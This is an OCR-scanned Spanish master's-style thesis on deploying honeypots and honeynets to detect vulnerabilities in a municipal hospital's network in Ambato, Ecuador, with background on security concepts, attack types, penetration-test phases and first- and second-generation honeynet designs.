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RESUMEN

El uso de las Nuevas Tecnologias Informéticas se ha incrementado de manera
exponencial durante la ultima década, lo que ha incidido directamente en la
generacion de gran cantidad de informacion por parte de las empresas,
llegando a ser considerada como uno de los activos mas importantes en la
actualidad. La conectividad de redes a gran escala, producida por el desarrollo
del Internet y las nuevas tecnologias de comunicacion, ha incrementado en
gran nivel las amenazas que pueden afectar a los activos de informacién de
las empresas que estan expuestos. Actualmente existe la necesidad de
proteger la informacion de las empresas de los ataques provenientes de
personas u organizaciones que al margen de la ley intentan dafiar u obtener su
preciada informacion mediante la utilizacion de técnicas y herramientas
informéticas que han evolucionado tanto en su eficiencia como en la capacidad
de mantenerse ocultas dentro de las redes de datos. La tecnologia Honeypot,
ofrece a los administradores de red las herramientas necesarias para alertar y
conocer de manera oportuna los ataques producidos y las técnicas utilizadas,
las mismas que seran analizadas para implementar las medidas de seguridad

necesarias y evitar futuros ataques.



Vi

ABSTRACT

The use of new information technologies has increased exponentially in the last
decade, which has led directly to the generation of a great quantity of
information from companies, and is being considered as one of the most
important assets at present time. The large-scale connectivity of networks which
was produced by the development of the Internet and new communication
technologies has greatly increased the threats that can affect the company’s
information assets are exposed to. Nowadays there is the need to protect the
information of companies from attacks coming from people or organizations
which illegally try to damage or obtain its precious information through the use of
techniques and computer tools that have evolved as much in its efficiency as in
the capacity to stay hidden within the data networks. The Honeypot technology
offers network administrators the necessary tools to alert and know the attacks
that were produced and the techniques that were used in a timely manner.
These will be analyzed in order to implement the necessary security measures

and avoid future attacks.
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CAPITULO |

PROYECTO DE INVESTIGACION

1.1 Antecedentes

El Hospital Municipal Nuestra Sefiora de la Merced de ahora en adelante
denominado El Hospital, cuenta con una Red de Datos a través de la cual se

brinda diferentes servicios.

Actualmente la Red de Datos del Hospital, se encuentra interconectada a
diferentes redes externas como la Red Informatica del Gobierno Auténomo
Descentralizado Municipalidad de Ambato con el fin de consumir determinados
servicios de datos y al Internet mediante de varios de enlaces de fibra Optica, y
ADSL.

La red informatica del Hospital no cuenta con un sistema de deteccion de
intrusos, estando expuesta a amenazas externas que afecten la integridad,

disponibilidad y confidencialidad de la informacion.

1.2 Significado del Problema

El Hospital Municipal Nuestra Sefora de la Merced, se encuentra inmerso en un
proceso de renovacion tecnoldgica, siendo uno de los puntos importantes en
esta evolucion la digitalizacion de la informacién generada en todos los
procesos administrativos y productivos, por lo que se debe detectar y corregir
las vulnerabilidades fisicas y logicas de la plataforma tecnologica sobre la cual

se ejecutan los sistemas informaticos de la institucion.



1.3 Definicion del problema

No existe un Sistema de Deteccion de Intrusos en la Red de Datos del Hospital
Municipal Nuestra Sefiora de la Merced que permita detectar ataques,

intromisiones y vulnerabilidad externos e internos.

1.3.1 Preguntas Basicas

¢, Como aparece el problema que se pretende solucionar?

- No existe un analisis de vulnerabilidades de la Red de datos del Hospital
municipal Nuestra Sefiora de la Merced.

- Red de datos conectada al internet.

- Caidas del sistema de sin razén técnica aparente.

¢Por qué se origina?

- Inadecuado control de acceso a la red
- No existe un sistema de deteccidon de intrusos
- Poca capacitacion a nivel de usuario sobre las politicas de seguridad

informatica.

¢Quién o qué lo origina?

- Despreocupacién de autoridades por aplicar politicas de seguridad
informética.

- Falta de implementacion de un sistema de deteccion de intrusos a nivel
de red.

- Malas practicas de seguridad a nivel de usuarios de los sistemas

informaticos



¢Cuando se origina?

- Cuando no existe una determinacion de las vulnerabilidades actuales de
la red informatica.
- Cuando no se utiliza las tecnologias existentes para la deteccion de

intrusos en la red informatica

¢Donde se origina?

- Enlas Red de Datos del Hospital Municipal Nuestra Sefiora de la Merced

¢Qué elementos o circunstancias lo originan?

- Poco control de seguridad sobre la red informética.
- Accesibilidad a la red informatica desde el Internet.

- Malas practicas de seguridad por parte de los usuarios.

1.4 Planteamiento del Tema

Aplicacion de herramientas honeypot para la deteccibn y correccion de
vulnerabilidades de seguridad de la red informatica del Hospital Municipal

Nuestra Sefiora de la Merced en el periodo 2013

1.5 Delimitacion del Problema

La aplicacion de herramientas honeypot se la realizara en la red informatica del

edificio del Hospital Municipal Nuestra Sefiora de la Merced.



151 Delimitacion Espacial

Pais: Ecuador

Provincia:  Tungurahua

Ciudad: Ambato

Espacio: Hospital Municipal Nuestra Sefiora de la Merced
Area: Seguridad Informética

Unidad Experimental: Red de datos

1.5.2 Delimitacion Temporal

Periodo: 2013

1.6 Justificacion

El desarrollo del presente proyecto es importante ya que no se conoce las
vulnerabilidades de la Red de Datos del Hospital, lo cual la convierte en

potencial objetivo de ataques de tipo informatico.

A nivel de la ciudad de Ambato, es un proyecto necesario, por cuanto no se
tiene un conocimiento documentado del tipo de ataques, intromisiones y
vulnerabilidades reales dentro de una red informatica institucional publica,
tomando en cuenta ademas que nunca antes se ha realizado este tipo de
investigaciéon dentro del Hospital Municipal, siendo de vital importancia para
mantener la seguridad, confiabilidad. disponibilidad y confidencialidad de la

informacioén institucional.



Desde el punto de vista econdémico, el presente trabajo se justifica ya que la
deteccion y correccion de las vulnerabilidades de la plataforma informatica
evitara el robo o adulteracién de los datos institucionales y por consiguiente los
posibles costos que devengan en la recuperacion o reparacion de la

informacion comprometida.

La elaboracién de un documento con normas bésicas de seguridad informatica
para los usuarios finales de sistemas informéticos permitira dar a conocer a
todo el personal involucrado cuales son las mejores practicas de seguridad y
asi elevar la confiabilidad de los niveles de proteccion de la informacion

generada por éstos sistemas.

1.7 Objetivos

1.7.1 Objetivo General

Aplicar herramientas Honeypot para la deteccion, analisis y correccion de las

vulnerabilidades de la Red del Hospital Municipal Nuestra Sefiora de la Merced.

1.7.2 Objetivos Especificos

Implementar la tecnologia Honeypot para la deteccion de vulnerabilidades de la
red de datos del Hospital.

Estudiar los diferentes tipos de atagues a una red de datos.

Analizar las vulnerabilidades detectadas en la red de Datos de la Institucion.

Crear una guia para la correccion de las vulnerabilidades detectadas en la red

de datos del Hospital Municipal Nuestra Sefiora de la Merced.



Elaborar un instructivo de seguridad para prevenir futuros ataques y asi mejorar
los niveles de seguridad de la red de datos del Hospital Municipal Nuestra
Sefiora de la Merced.

1.8 Hipotesis

Con la aplicacion de herramientas Honeypot para la deteccion y andlisis en la
Red del Hospital Municipal Nuestra Sefiora de la Merced, se implementara un
plan de correcciones y politicas de seguridad, lo cual mejorara los niveles de

seguridad Informética, simulando objetivos informéticos con bajos niveles de

seguridad.

1.9 Variables

1.9.1 Variable Independiente

Herramientas Honeypot

1.9.2 Variable Dependiente

Seguridad Informatica
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MARCO TEORICO

2.1 Antecedentes

Una sociedad basada en el conocimiento exige la utilizacion de nuevas
herramientas y tecnologias que tengan un mayor impacto en la generacion,
administracion, transferencia y aplicacion de la informacion que se genera a
partir del conocimiento para la toma de decisiones, la innovacion y la

competitividad.

En la actualidad el mundo ha evidenciado el impresionante desarrollo de la
tecnologia, en especial la referente a la creacion de informacion, su
procesamiento y transporte, lo cual ha sido beneficioso para la vida de las

personas.

Actualmente la comunicacion es instantanea entre personas 0 equipos
electrénicos sin importar su ubicacion geogréfica, siendo necesario Unicamente

un medio de transporte de informacion.

El gran avance de las tecnologias de comunicacién y procesamiento de datos
trae consigo grandes beneficios para sus usuarios asi como desventajas
producidas por el robo de informacion, dafios o ataques a infraestructuras de
comunicacion que soportan los sistemas informaticos que hoy en dia son vitales
para el normal desenvolvimiento de las actividades humanas, en este sentido
actualmente se utiliza un conjunto de elementos, herramientas y servicios
orientados al tratamiento, procesamiento y administracion de datos e
informacion de una manera organizada disponibles para su consumo y creado

para satisfacer una necesidad o requerimiento.



Estos elementos, herramientas o servicios forman parte de algunas de las

siguientes categorias:

- Personas
- Datos (Informacion)
- Actividades (Procesos)

- Recursos (equipo informéticos, de comunicacion, servicios).

Debido a la gran cantidad de datos que actualmente se genera en los diferentes
sistemas informéticos es necesario aplicar procesos de seguridad informatica,
con el fin de resguardar y proteger la informacion a fin de mantener su
confidencialidad, integridad y disponibilidad, mediante la aplicacién de medios

tecnoldgicos, y politicas disefiadas para el efecto

La seguridad de la informacion durante todas las etapas de generacion,
transporte, procesamiento y almacenamiento juega un papel relevante en la
infraestructura tecnoldgica, teniendo igual o mayor importancia que la seguridad
fisica ya que aparte de proteger el Hardware de dafios fisicos o desaparicion,
se debe eliminar los riesgos de robo y pérdidas de informacion de todo tipo
desde datos personales, informacion financiera y bancaria, académica,

telecomunicaciones hasta informacion sensible de seguridad nacional.

Al hablar de Seguridad de la Informacién se debe tomar en cuenta los

siguientes términos:

Amenaza.- Es la probabilidad de ocurrencia de un evento potencialmente
desastroso, asociado a un evento fisico de origen natural, socio - natural o
provocado por los seres humanos, durante cierto periodo de tiempo
(wordpess.com, 2009) que pueda producir un dafio fisico o virtual sobre los

elementos de un sistema de informacion.
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Vulnerabilidad.- Es la capacidad, las condiciones y caracteristicas del sistema
mismo (incluyendo la entidad que lo maneja), que lo hace susceptible a
amenazas, con el resultado de sufrir algin dafio. En otras palabras, es la
capacitad y posibilidad de un sistema de responder o reaccionar a una

amenaza o de recuperarse de un dafo. (wordpess.com, 2009)

Riesgo.- Es la materializacion de las vulnerabilidades detectadas, asociadas
con su probabilidad de ocurrencia, amenazas expuestas, asi como el grado de

impacto negativo que ocasione a las operaciones de la organizacion.

Seguridad.- Consiste en asegurar que los recursos de los Sistemas de

Informacién de una organizacién sean utilizados de la manera planificada.

Por lo tanto la seguridad es una caracteristica de cualquier sistema (informatico
0 no) que nos indica que ese sistema esté libre de peligro, dafio o riesgo
(Withman, 2012).

Una correcta gestion de la Seguridad de la Informacién debe establecer
programas, controles y politicas que tengan como fin mantener la
confidencialidad, Integridad y Disponibilidad de la Informacién de manera

conjunta.

Confidencialidad.- La informacion de una organizacion solo puede ser
accedida por personas u organizaciones que cuentan con la debida

autorizacion.

Integridad.- Es la caracteristica que busca mantener la informacion libre de
alteraciones o modificaciones no autorizadas, es decir mantener con exactitud
la informacion tal cual fue creada o generada, sin ser objeto de manipulacion o

alteracion por personas o procesos no autorizados.

Disponibilidad.- Es la caracteristica o condicibn de la informacion de
mantenerse disponible para las personas, servicios u organizaciones

autorizadas a acceder a la misma al momento que asi lo requieran.
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2.2 Hacking Etico

Dentro de la filosofia, la ética se define como la disciplina que se encarga del
estudio de la moral, la virtud, el deber, la felicidad y el buen vivir dentro de los

parametros que la sociedad considera moralmente aceptados (Singer, 1994).

Por otro lado definamos al termino Hacking como la busqueda permanente de
informacion y conocimientos relacionados al area informética, sus mecanismos
de seguridad, vulnerabilidades, la forma de aprovechar estas vulnerabilidades y

los mecanismos para protegerse de aquellas personas que saben hacerlo.

En términos generales los término Hacking y Etico parecerian ser
antagonistas, ya que por un lado, la palabra Hacking para el comun de la
poblacién esta fuertemente relacionado a delincuentes comunes, personas de
dudosa moral que utilizan sus conocimientos informaticos para delinquir y por

otro lado la palabra ético se refiere a lo que moralmente se considera correcto.

La ética implica que el trabajo y la intervencién del profesional en seguridad
informatica o Hacker Etico no comprometen de ningin modo los activos de la

organizacion que son los valiosos datos con los que ella cuenta (Tori, 2008).

Es por esto que la demostracion de técnicas de penetracion a los diferentes
sistemas deben ser realizados con mucho cuidado para no ser catalogados
como intentos de intrusion en sistemas de otras organizaciones diferentes a las
que estemos examinando como una tarea legitima propia de expertos
informaticos con el Unico fin de poder estar prevenidos ante ataque de intrusos

gue carecen de moral en sus actos.

Existen dos tipos de Hacker éticos: los independientes y los profesionales de

consultoria.

Un Hacker ético de consultoria estd dedicado a prestar sus servicios de

seguridad informatica a empresas que asi lo requieran, todo esto bajo la tutela
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de un contrato remunerado, es decir realiza pruebas de hacking ético con fines

de lucro y en ambientes controlados.

En todo caso la principal tarea de un hacker ético es evidencias y reportar las
fallas de seguridad en las redes organizativas, para que el personal encargado
de su administracion tome las acciones necesarias para corregir dichas fallas y

asi poder minimizar el riesgo inherente a ellas.

2.2.1 Ataques Informaticos

Existen diferentes tipos de ataque informatico, los mismos que dependiendo del
lugar de origen pueden ser ataque internos o externos; los ataque internos son
los que se originan dentro de la propia red y los ataque externos son los que se

originan fuera del perimetro de seguridad de la Red.

Los ataques informéticos también deben catalogarse de acuerdo a su

intencionalidad en ataques activos y ataques pasivos.

Ataques pasivos son aquellos en los que se afecta la confidencialidad de la
informacion, sin afectar su integridad ni disponibilidad, es decir la informacion
solo es observada por el atacante principalmente con la finalidad de conocer la
infraestructura tecnolégica, descubrir vulnerabilidades, todo esto sin afectar los

recursos de la red.

Son considerados ataques activos aquellos que tienen fines dolosos, dafiar u
apropiarse de la informacion comprometida, afectar el desempefio de la

infraestructura o finalmente paralizar servicios.
Entre los principales ataques activos tenemos:

Spoofing.- Este término hace referencia al uso de técnicas para suplantar la

identidad generalmente con fines maliciosos o de investigacion.
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De acuerdo a la tecnologia utilizada, los ataques Spoofing se los puede

clasificar de la siguiente manera:

IP spoofing.- Consiste en sustituir la direccion IP ORIGEN de un
paquete TCP/IP otra direccion IP a la cual se desea suplantar.

ARP Spoofing (ARP poisoning).- Consiste en la falsificacion de tablas
ARP mediante la construccion de tramas solicitud y respuesta ARP
modificadas con el objetivo de falsear la tabla ARP de una victima y
forzarla a que envie los paquetes a un host atacante en lugar de hacerlo a

su destino legitimo.

DNS Spoofing (DNS cache poisoning).- Consiste en la provision de
manera maliciosa de datos de Servidor de Nombres de Dominio que no se
originan de fuentes autoritativas de DNS. Este ataque se lo utiliza para
reemplazar arbitrariamente el contenido de una serie de victimas con

contenido elegido por el atacante.

WEB Spoofing.- Es la suplantacion de un sitio web real. Encamina la
conexion de una victima a través de una péagina falsa hacia otros sitios

WEB con el objetivo de apropiarse de informacion.

La pagina web falsa actia a modo de proxy solicitando la informacion
requerida por la victima a cada servidor original y evadiendo protecciones
SSL, pudiendo modificar cualquier informacién desde y hacia cualquier
servidor que la victima visite. Se debe diferenciar el Web Spoofing del
Phishing.
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Ataques de Denegacion de Servicio (DoS).- Este tipo de ataque
consiste en dejar inhabilitado uno o varios servicios de una red por un
tiempo determinado mediante la utilizacion de diferentes técnicas entre las

gue se destacan:

- Inundacion SYN (SYN FLOOD)
- Inundacion ICMP (ICMP FLOOD)
- Inundacion UDP (UDP FLOOD)

2.3 Pruebas de penetracion de sistemas

En la actualidad las organizaciones deben tener muy en cuenta la evaluacion a
los sistemas de seguridad de sus sistemas informaticos, de ahi se obtendra

cual es su nivel de seguridad.

Para determinar el nivel de seguridad de una infraestructura informatica se debe
recurrir a lo que en tecnologia se denomina “Penetration Test” o Pruebas de
Penetracion que consisten en acciones ofensivas contra los mecanismos de

defensa existentes en la infraestructura que se esta analizando.

Estas pruebas evallan la seguridad desde el analisis de los dispositivos fisicos
y digitales (hardware y Software) hasta el analisis del factor humano utilizando

lo que se denomina ingenieria social.

El objetivo principal de este tipo de pruebas es verificar bajo situaciones
extremas, de qué manera se comportan los mecanismos de defensa instalados,
buscando sus vulnerabilidades y la ausencia de controles que generan brechas

de seguridad entre la informacion critica y las medidas de control existentes.
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Una prueba de penetracion comprende varias etapas en cada una de las cuales
se realizan actividades en distintos ambitos y entornos las mismas que se

describen a continuacion (gdp.sip.ucm, 2010)

231 Reconocimiento pasivo (Footprinting)

Es el analisis del perfil de seguridad de una organizacion, el cual se lo hace de
manera metodoldgica buscando informacion critica en base a un hallazgo
anterior. No existe una sola metodologia para efectuar el footprinting, ya que
cada persona debera escoger los caminos necesarios para llegar a la
informacion. Se debe considerar a esta actividad como esencial debido a que
toda la informacion critica debe ser recolectada para que el analista o hacker

pueda decidir las mejores acciones a tomar.

Se debe ser metddico y  organizado al momento de realizar este
reconocimiento ya que la informacion recolectada puede pertenecer a diferentes
capas de la red tales como direcciones IP, Puertos, Servicios de red,
Aplicativos, Usuarios, Sistemas de deteccion de Intrusos, direcciones de correo

la topologia de la red, etc.

Se deberé tener los argumentos necesarios para que, en base a la informacion

obtenida determinar la manera como se va a realizar el ataque.

Es importante sefialar que mucha de la informacion disponible de las posibles
victimas se las puede encontrar en el Internet ya que en muchos de los casos
las organizaciones exponen demasiada informacion critica de sus sistemas de
manera involuntaria, a esta busqueda se la denomina on-line. La busqueda off-
line se refiere a toda la informacién que puede ser obtenida mediante el recurso

de la ingenieria social



16

2.3.2 Escaneo (Scanning)

En esta fase el atacante reune toda la informacion posible de la victima
mediante el inventario de los equipos de la red, los puertos abiertos y los
servicios disponibles mediante la utilizacion de alguna herramienta de escaneo
de puertos. Precisamente el escaneo de puertos es una de las actividades
basicas utilizadas por los atacantes. Con el conocimiento de los puertos
abiertos de un equipo, se detectan las posibles vulnerabilidades las mismas que

en fases posteriores podran ser explotadas.

La fase de escaneo se la puede subdividir en las siguientes etapas:

- Deteccion de Sistemas Vivos o Activos
- Escaneo de Puertos

- Deteccion de Sistemas Operativos

- ldentificacion de Servicios

- Escaneo de Vulnerabilidades

- Planificacion del Ataque.

2.3.3 Enumeracion e identificacion de vulnerabilidades

Las vulnerabilidades son debilidad en el disefio, configuracién o implementacion
de un sistema informatico que puede ser explotada con la materializacién de
una o0 varias amenazas existentes, que puede provocar un evento que

comprometa la seguridad del mismo.

Las vulnerabilidades describen las debilidades y los métodos mas frecuentes
gue se utilizan para efectuar ataques a los dispositivos de seguridad de una

plataforma tecnoldgica.
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Una organizacion debera establecer prioridades en los niveles de seguridad
para la informacion que necesita proteger, de acuerdo al valor que representan
en su operacion y de esta forma prevenir ataques detectando cada una de sus

vulnerabilidades.

2.34 Ganar acceso

Es la Fase en la cual el Hacker logra penetrar a un sistema informatico

explotando las vulnerabilidades encontradas y enumeradas en fases anteriores

2.3.5 Mantener el acceso

En esta etapa de un ataque informatico, el hacker blackhat o hacker
malintencionado, intentara por cualquier medio mantener el acceso logrado al

sistema comprometido.

En esta etapa se utilizan varias herramientas que garanticen accesos futuros y
en muchas de las ocasiones también proteger su logro del ataque de otros
hackers mediante la implementacion de puertas traseras o backdoors.

(gdp.sip.ucm, 2010).

El objetivo de esta etapa de un atague es el de mantener los privilegios ya
ganados y que para la proxima intrusion no se tenga que empezar de cero. Al
instalar o configurar una puerta trasera, se debe tener el cuidado de “hacer el
menor ruido posible” para evitar ser detectado por los administradores de
sistemas, quienes al detectar la presencia de intrusos activaran sus planes de

contingencia para contrarrestar el ataque.
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2.3.6 Borrado de huellas

El objetivo de esta etapa de una prueba de penetracion es el de cubrir todas las
huellas dejadas del ataque en el sistema comprometido con la finalidad de no

ser descubierto y poder comprometer acceder al sistema en el futuro.

Un ataque debe ser lo mas silencioso posible, para evitar activar alarmas en los
sistemas atacados, de la misma manera se debe minimizar los posibles rastros
del ataque, ya que un administrador de sistemas experimentado y meticuloso
podria determinar el como cuando y desde donde fue comprometido sus

sistema.

2.4 Honeypots

Se debe entender como tecnologia Honeypot al software o conjunto de software
y hardware que tienen como objetivo atraer la atencion de atacantes, simulando

ser sistemas con debilidades y vulnerabilidades frente a intrusiones externas.

Actualmente la tecnologia ha sufrido un gran desarrollo principalmente debido a
la necesidad de implementar sistemas de seguridad informatica.

El término Honeypot hace referencia a “un tarro de miel” que en la naturaleza
atrae a los insectos, haciendo una analogia en el mundo tecnoldgico, este “tarro
de miel” atrae mediante sefiuelos al hacker que descubren estos sitios y sus

vulnerabilidades.

Un honeypot es considerado como una herramienta de seguridad informatica,
por cuanto se lo utiliza para almacenar la informacion de los ataques recibidos y

las técnicas empleadas.
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2.4.1 Clasificacion de los Honeypots

Los honeypots se pueden clasificar por su nivel de iteraccién y por su ambiente

de implementacién (cybsec.com, 2010).

Por el nivel de iteraccion se los denominan Honeypots de baja iteraccion y

Honeypots de alta Iteraccion.

Se denomina Honeypots de baja iteraccion a aquellos cuyo trabajo se basa en
la emulacion de servicios, sobre sistemas operativos no existentes, los cuales
son utilizados como medida de seguridad ya que se puede crear servidores
falsos que simulan ser reales tales como un servidor FTP completo o un
servidor web. La principal desventaja de este tipo de Honeypots es su limitacion
en la cantidad de informacién que puede ser obtenida ya que al no ofrecer una

alta iteracion con el atacante, éste Ultimo ve limitado sus opciones de ataque.

Los Honeypots de alta iteraccion son sistemas reales no emulados, montados
sobre una infraestructura fisica real hardware y software por consiguiente su
complejidad es mayor al momento de su implementacién y mantenimiento

ademas de que suponen un mayor riesgo en su uso.

Por ejemplo un servicio web estara implementado en un servidor real sobre una
plataforma adecuada el cual estaria en linea sobre un segmento de red
conjuntamente con otros sistemas, por lo que un posible atacante interactuaria
sobre un sistema real y del cual se podria obtener una gran cantidad de

informacion de acuerdo a lo que el honeypot lo permita.

En un sistema honeypot de alta iteraccion es necesario implementar controles
mas seguros y eficaces para evitar que los ataques que se intentan provocar y

estudiar se conviertan en ataques reales.

Entre los honeypots de alta iteraccion tenemos las denominadas Honeynets.
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Los honeypots por su ambiente de implementacién se clasifican en: Honeypots
de Investigacion y Honeypots de Produccion.

Los objetivos de un honeypot de investigaciéon son:

- Detectar nuevas modalidades de ataques y herramientas de hacking.

- Conocer de mejor manera a los atacantes, sus objetivos, actividades y
tendencias

- Descubrir nuevas modalidades de comunicaciones encubiertas.

- Detectar y analizar herramientas de DoS desconocidas.

El objetivo de un honeypot de produccion es recolectar suficiente evidencia de

un ataque y su atacante.

Debido al gran desarrollo de las herramientas utilizadas por los atacantes para
romper las seguridades implementadas en los diferentes sistemas informaticos,
actualmente la mayoria de ataques se los realiza de manera automatizada, en
las que se utiliza herramientas para el escaneo de redes buscando sus

vulnerabilidades para luego poderlas explotar.

En este contexto el uso de honeypots para prevenir dichos ataques se ha ido
popularizando en todo el mundo, ya que nos ofrecen gran cantidad de
informacion recolectada en tiempo para realizar un adecuado analisis en busca
de las vulnerabilidades de la red y asi poder implementar los correctivos
necesarios a los sitios reales y evitar un ataque que indisponga los sistemas

reales.

2.4.2 Tipos de Honeypots

De acuerdo al tipo de implementacion, existen dos tipos de Honeypots:

Honeypots Fisicos y Honeypots Virtuales.
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Un Honeypot fisico estd montado sobre un equipo fisico real el cual en la

mayoria de casos implica que su funcionamiento sea de alta iteraccion.

Este tipo de implementacién resulta dificil principalmente por su alto costo de
implementacion y mantenimiento ya que resulta poco practico utilizarlos para
cubrir un amplio rango de direcciones debido a que seria necesario instalar un

servidor honeypot para cada una de las direcciones IP.

Los Honeypots virtuales son aquellos que se encuentran implementados sobre
servidores virtuales gracias al avance tecnolégico en el campo de la
virtualizacion en el cual podemos instalar varios servidores virtuales en un solo

equipo anfitridn mediante la utilizacion de un software para virtualizacion.

Actualmente existen varias opciones de herramientas para virtualizacion entre

las que podemos mencionar: VMWare, VirtualBox, entre otros.

Cada servidor virtual puede implementar un honeypot virtual pero que puede
actuar como un honeypot fisico de alta iteraccion compartiendo los recursos
fisicos del equipo anfitrion con todos los demas servidores virtuales corriendo
en paralelo cada uno con su propia identidad y funcionalidad.

Se dispone ademas de imagenes de maquinas virtuales ya configuradas como
honeypots listas para ser utilizadas luego de realizarles ciertos afinamientos en

su configuracién de acuerdo a la solucion particular a implementarse.

2.5 Redes virtuales honey

A este tipo de redes se las denomina Honeynets, las cuales son un conjunto de
honeypots de alta iteraccion diseflados para brindar diferentes servicios de red
sobre uno o varios sistemas operativos diferentes, y que tienen como objetivo
investigar y obtener informacion de los atacantes y sus acciones para evitar en

el futuro intrusiones del mismo tipo.
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Se debe entender a una honeynet como una arquitectura compleja y no como

un producto software listo para su instalacion.

Una Honeynet tiene por objetivo hacerle creer al ataque que se encuentra

frente a una red real con diferentes tipos de servicios a los cuales atacar.

Al implementar una honeynet en conjunto con otros mecanismos se obtiene una
mejor estrategia para detectar fallos o huecos de seguridad y asi proveer

mejores sistemas de defensa.

Al analizar la informacion recolectada de los ataques recibidos, podemos

conocer amenazas aun no conocidas y documentadas.

Actualmente existe el “Honeynet Project” el cua es considerado como la
organizacion de investigacion de seguridad lider a nivel mundial cuyo propdsito
es detectar los nuevos tipos de ataques, desarrollar herramientas de seguridad
de cdadigo abierto para mejorar los niveles de seguridad del Internet y aprender

del comportamiento de los hacker maliciosos o Blackhat.

Entre los principales logros de ésta organizacion presente en todo el mundo se
puede mencionar la lucha contra el malware y la creacién de herramientas de
seguridad utilizadas por empresas y organizaciones gubernamentales a nivel
global, esta organizacibn ha definido los requisitos que garantizan el
funcionamiento de manera correcta de una Honeynet, con el fin de lograr un
ambiente seguro para los sistemas de red en los que se implementa esta

arquitectura.

Los requisitos que una Honeynet debe cumplir para su funcionamiento de
manera segura son Control, Captura y Recoleccion de datos.

Una Honeynet es de gran ayuda para responder a las 5+1 W’s de los incidentes

de seguridad:

- What (Qué)
- Where (Do6nde)
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When (Cuéndo)
Who (Quién)
Why (Por qué), +How (Como)

Desde el aparecimiento de este tipo de tecnologia, la complejidad de las
Honeynets ha ido evolucionando de acuerdo a la disponibilidad de las
herramientas para el control y captura de los datos por lo que actualmente se
hace la diferencia entre Honeynets de 1lra Generacion y Honeynets de 2da

Generacion.

251 Evolucion de las Honeynet

Desde el aparecimiento de la primera honeynet, han ido evolucionando en su
infraestructura tecnologia utilizada y funcionamiento, el proyecto denominado
“The Honeynet Project” las agrupa en 2 generaciones, aunque otros autores las
agrupan en 3 generaciones (seat.massey.ac.nz, 2009), las mismas que se

describen a continuacion.

Honeynets de 1ra Generacion (GEN I)

Aparecieron en 1999 cuando Honeynet Project la desarrollé a partir de medidas
simples pero eficientes para el control y captura de datos de los atacantes. Esta
generacion de Honeynets representada en el Grafico #1, consta de un Firewall

de capa 3 conectado a tres redes diferentes:
- Internet,
- Honeynety,

- Red de produccién.
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Todos los paquetes entrantes o salientes de la Honeynet tienen que
obligatoriamente pasar por el Router y el Firewall el cual es la principal

herramienta para controla las conexiones de entrada o salida.

HONEYNET
Internet 192.168.X.0/24

& (@ N

FIREWALL ROUTER SWITCH

S

Linux Windows
% SPARC SYSLOG

IDS

B

LOG/ALERT
SERVER

RED DE
PRODUCCION

Grafico # 1. Diagrama de una Honeynet de 1ra Generacion

Fuente: El Autor

El firewall debe permitir cualquier conexion entrante pero debe mantener un
control sobre todas las conexiones salientes limitando la cantidad permitida de

éstas a cada honeypot.

Una vez que un honeypot ha alcanzado el maximo nimero de conexiones hacia
el exterior, el firewall bloqueara cualquier otro intento de salida, facilitando con
esto al hacker Blackhat una cierta flexibilidad para efectuar su ataque y de la

misma manera nos brinda una adecuada proteccion frente al abuso.

El nidmero de conexiones permitidas puede variar dependiendo de la
funcionalidad que se busque. Si se desea descubrir actividad manual de un



25

Hacker malintencionado, se deberd permitir un cierto nimero de conexiones
salientes; si al contrario se desea Unicamente capturar ataques automéaticos
como autobotes o gusanos informaticos, lo mas probable es que no se necesite

permitir conexiones de salida.

El Router se constituye en un suplemento para el filtrado del trafico en la red,
se ubica entre la honeynet y el firewall con la intencidon de ocultarlo de los
atacantes, ofreciéndoles un ambiente mas real ya que los atacantes encuentran

un Router productivo entre ellos y las redes exteriores.

Adicionalmente el Router actla como una segunda opcién de control de acceso
sobre la capa 2, dando un mayor Control de Datos ya que ninguna Honeynet

debe depender de una sola opcion para este proceso.

El Router solo permitira el paso de paquetes cuyo origen sea la Honeynet lo
cual protege de ataques como el SYN Looping o atagues SMURF, ademas
bloquea el trafico de ICMP saliente, al limitar el ICMP a este nivel podemos
ayudar al firewall en el seguimiento del trafico con lo cual se protege a la red en
la etapa de reconocimiento de la misma previa a un ataque y del ping de la

muerte.

Al combinar el firewall con el Router se considera una técnica efectiva para el
control del tréfico saliente ya que permite cierta flexibilidad al atacante para que
realice su trabajo pero limitandolo al no permitir ataques a otros sistemas fuera

de la honeynet.

La captura de los datos se la realiza en varias capas. La primera capa
constituye el firewall que es quien registra y emite la alerta de todas las
conexiones generadas desde y hacia la honeynet a las cuales se las considera

sospechosas.

La siguiente capa en la captura de datos se la realiza en el Sistema de
Deteccion de Intrusos IDS el cual tiene dos objetivos: capturar la actividad de la

red es decir capturar y registrar todos y cada uno de los paquetes y su carga en
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la infraestructura de red. Esta accion se la realiza a través de la interface de red

que se encuentra fisicamente unida a los otros sistemas de la honeynet.

El segundo objetivo del IDS es el de emitir las alertas de cualquier actividad
sospechosa, muchos IDS realizan el analisis de actividad sospechosa
comparando con ciertas “marcas” de los paquetes analizados concuerdan con

las almacenadas en una Base de Datos de Marcas ya conocidas.

El IDS utilizado por Honeynet Project es el denominado Snort in Line con el cual
se ha obtenido un excelente rendimiento al efectuar estas tareas, sistema que
reenvia periédicamente las alertas generadas al servidor de Syslog presente en

la Honeynet.

La tercera capa de captura de datos las realizan los propios sistemas de los
cuales se quiere capturar la actividad, esto se logra guardando todos los
registros de eventos de los servidores tanto localmente como de manera remota
a manera de backup en sistemas independientes que pueden ser Unix o

Windows a donde se deberan enviar todos los datos capturados.

Esto debido a que un Syslog es facilmente detectable por el atacante quien
entre una de sus estrategias esta siempre deshabilitar los procesos encargados
de registrar los eventos “syslogd” a través de diversas herramientas disponibles

en la actualidad.

Honeynets de 2da Generacién (GEN II)

Esta evolucion de las Honeynets se las utiliza a partir del afio 2002 cuando fue
desarrollada por Honeynet Project, la cual introduce varias modificaciones en
relacion a las Honeynets de 1lra generacion. Los objetivos de esta evolucién
residen en simplificar su implementacién y mejorar su seguridad, haciéndolos

mas dificiles de detectar por parte de los atacantes al ofrecerles mayores



27

posibilidades de interactuar con los sistemas comprometidos, pero ejerciendo
un mayor control sobre sus actividades, con esto se logra una mayor cantidad

de datos capturados para su posterior analisis.

La evolucion hacia las honeynets de 2da generacion tiene como objetivo
mejorar los procesos de control de datos y captura de datos con la finalidad de
simplificar su implementacion y a la vez hacerlos mas dificiles de detectar por
parte de los atacantes.

Internet

ROUTER

RED DE
PRODUCCION

HoneyPot

HoneyPot

ethl
HoneyWall
Honeynet Sensor

Grafico # 2: Diagrama de una Honeynet e 2da Generacién

Fuente: El Autor

El control de datos de una honeynet de 2da generacion ofrece al atacante un
mayor margen de interaccion con los sistemas vulnerables, pero con un mayor
nivel de control sobre sus actividades de una manera mas transparente
